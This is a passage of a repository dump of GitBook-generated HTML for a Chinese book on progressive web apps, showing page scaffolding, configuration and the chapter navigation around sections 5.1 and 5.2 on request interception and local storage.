class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"../chapter05.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 第5章 离线与缓存\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"2-local-storage-management.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 5.2 本地存储管理\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"5.1 资源请求的拦截代理\",\"level\":\"1.6.1\",\"depth\":2,\"next\":{\"title\":\"5.2 本地存储管理\",\"level\":\"1.6.2\",\"depth\":2,\"path\":\"chapter05/2-local-storage-management.md\",\"ref\":\"chapter05/2-local-storage-management.md\",\"articles\":[]},\"previous\":{\"title\":\"第5章 离线与缓存\",\"level\":\"1.6\",\"depth\":1,\"path\":\"chapter05.md\",\"ref\":\"chapter05.md\",\"articles\":[{\"title\":\"5.1 资源请求的拦截代理\",\"level\":\"1.6.1\",\"depth\":2,\"path\":\"chapter05/1-fetch-event-management.md\",\"ref\":\"chapter05/1-fetch-event-management.md\",\"articles\":[]},{\"title\":\"5.2 本地存储管理\",\"level\":\"1.6.2\",\"depth\":2,\"path\":\"chapter05/2-local-storage-management.md\",\"ref\":\"chapter05/2-local-storage-management.md\",\"articles\":[]},{\"title\":\"5.3 资源请求响应策略\",\"level\":\"1.6.3\",\"depth\":2,\"path\":\"chapter05/3-respond-strategy.md\",\"ref\":\"chapter05/3-respond-strategy.md\",\"articles\":[]},{\"title\":\"5.4 预缓存方案\",\"level\":\"1.6.4\",\"depth\":2,\"path\":\"chapter05/4-precache.md\",\"ref\":\"chapter05/4-precache.md\",\"articles\":[]},{\"title\":\"5.5 使用 Workbox\",\"level\":\"1.6.5\",\"depth\":2,\"path\":\"chapter05/5-workbox.md\",\"ref\":\"chapter05/5-workbox.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter05/1-fetch-event-management.md\",\"mtime\":\"2019-06-19T10:37:42.210Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter05/2-local-storage-management.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>5.2 本地存储管理 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"3-respond-strategy.html\" />\n    \n    \n    <link rel=\"prev\" href=\"1-fetch-event-management.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"1-fetch-event-management.html\">\n            \n                <a href=\"1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.6.2\" data-path=\"2-local-storage-management.html\">\n            \n                <a href=\"2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"3-respond-strategy.html\">\n            \n                <a href=\"3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"4-precache.html\">\n            \n                <a href=\"4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"5-workbox.html\">\n            \n                <a href=\"5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >5.2 本地存储管理</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7BA1;&#x7406;\"><b></b>&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7BA1;&#x7406;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#cache-api-&#x4E0E;-indexeddb-&#x7684;&#x5E94;&#x7528;&#x573A;&#x666F;\"><b></b>Cache API &#x4E0E; IndexedDB &#x7684;&#x5E94;&#x7528;&#x573A;&#x666F;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\"><b></b>&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x6CE8;&#x610F;&#x4E8B;&#x9879;</a></li><ul><li><span class=\"title-icon \"></span><a 